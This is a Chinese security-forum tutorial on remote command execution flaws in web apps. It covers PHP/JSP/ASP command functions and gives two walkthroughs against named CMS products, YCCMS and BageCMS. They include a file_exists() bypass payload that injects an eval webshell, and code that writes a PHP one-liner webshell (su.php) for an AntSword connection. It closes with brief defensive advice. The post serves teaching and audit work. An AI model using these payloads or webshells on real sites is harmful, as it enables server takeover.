电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 1526 人浏览分享

web渗透---命令执行漏洞

[复制链接]
1526 0
本帖最后由 zhaorong 于 2021-8-12 11:01 编辑

前言

远程命令执行(RCE---remote code execute)是指可以在仅有远程访问权限的情况下执行系统命令
的漏洞是安全漏洞中危害最大的一类。

命令执行原理

由于在编写web应用的时候需要调用一些函数来执行系统命令 例如

PHP代码
  1. systme()、exec()、shell_exec();
复制代码

JSP代码
  1. Runtime run = Runtime.getRuntime();
  2. run.exec("ipconfig");
复制代码

ASP代码
  1. <%Response.write
  2. CreateObject("wscript.shell").
  3. exec("cmd.exe /c ipconfig").StdOut.ReadAll%>
复制代码

当用户能够控制这些函数中的参数的时候 就可以将恶意系统命令拼接到正常命令中从而让
函数执行这些恶意的命令 造成命令注入攻击。

命令执行漏洞分类

命令注入:
可通过HTTP请求直接让服务器执行系统命令的漏洞 通常是由于系统命令执行函数引用
了用户可控变量且未进行有效过滤引起的。
代码注入:
可通过HTTP请求让服务端执行服务端WEB代码的漏洞 通过服务端WEB代码也可以实现服务端系统命令执行此类漏洞通常是
由于代码执行函数引用了用户可控变量且未进行有效过滤弓|起的。常用的一 句话木马就是一个人为生成的代码注入漏洞。
其他注入:
还可以还有一些安全漏洞在利用过程中也可能导致远程命令执行(RCE)例如文件包含漏洞反序列化漏
洞等能够写入恶意代码并且解析恶意代码
命令执行案例一
某CMS通过审计发现存在一条命令执行漏洞,该漏洞点在/public/class/Factory.class.php

164610omer8yrmql6z7tra.png

点击进来审计源代码 分析漏洞构成原因
1.首先该代码的类名为Factory{} 该类使用了setAction() 方法 通过调用self:: getA() 方法获取 $a参数进行跳转
检查操作看是否是admin权限,然后通过file_exists()函数检查文件路径是否存在,最后调用eval()执行
php代码eval('self::$_obj = new '.ucfirst($_a).'Action();');

164617imfr3tktitxzms5m.png

2.这里我们要利用eval函数 首先要绕过file_exists()函数的验证,这个函数在进行检查会有一个
bug比如/controller/admin;/../,函数允许路径中有一些特殊字符并且遇到/../会返回到上级目录
可以利用这个策略逃逸出 file_exists()函数检查。

3.构造payload--->Factory();phpinfo();//../
Factory()是为了闭合eval中的new实例化,然后后面的是执行的命令语句 所以我们要找有生
成Factory()实例的文件/config/run.inc.php

999.png

4.查找包含/config/run.inc.php该文件的文件/admin/index.php、/config/count.php

998.png

5.构造payload获取webshell
http://127.0.0.1/yccms/config/count.php?a=Factory();@eval($_POST[v]);//../
一句话木马连接成功,获取网站的shell

996.png

命令执行案例二
某CMS网站模块修改的代码配置没有对文件的内容进行过滤和检测导致
添加恶意代码进去的时候能够直接解析执行

992.png

在后台站点的网站模块下存放着网站的配置文件 其中question/index.php存放的是留言板的配置文件在
question/index.php末尾加上恶意代码,将一句话木马存放到文件su.php中如果不存在则创建su.php
<?php file_put_contents("su.php","<?php @eval(\$_POST[cmd]);?>");?>

991.png

访问路径http://xxx.com/bagecms3.1.0/upload/index.php?r=question/index
让代码执行生效 生成木马文件su.php

990.png

访问木马文件su.php 然后通过post请求提交参数代码获取数据

22222222.JPG

通过蚁剑工具连接木马 获取webshell

12.png

总结

命令执行漏洞的防护

由上述的案例可知 有些参数加入了恶意代码 导致执行了应用程序 所以系统可以设置为不执行外部的应用程序或命令
使用escapeshellarg函数处理相关参数;使用自定义函数或者函数库来代替外部命令的功能。

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.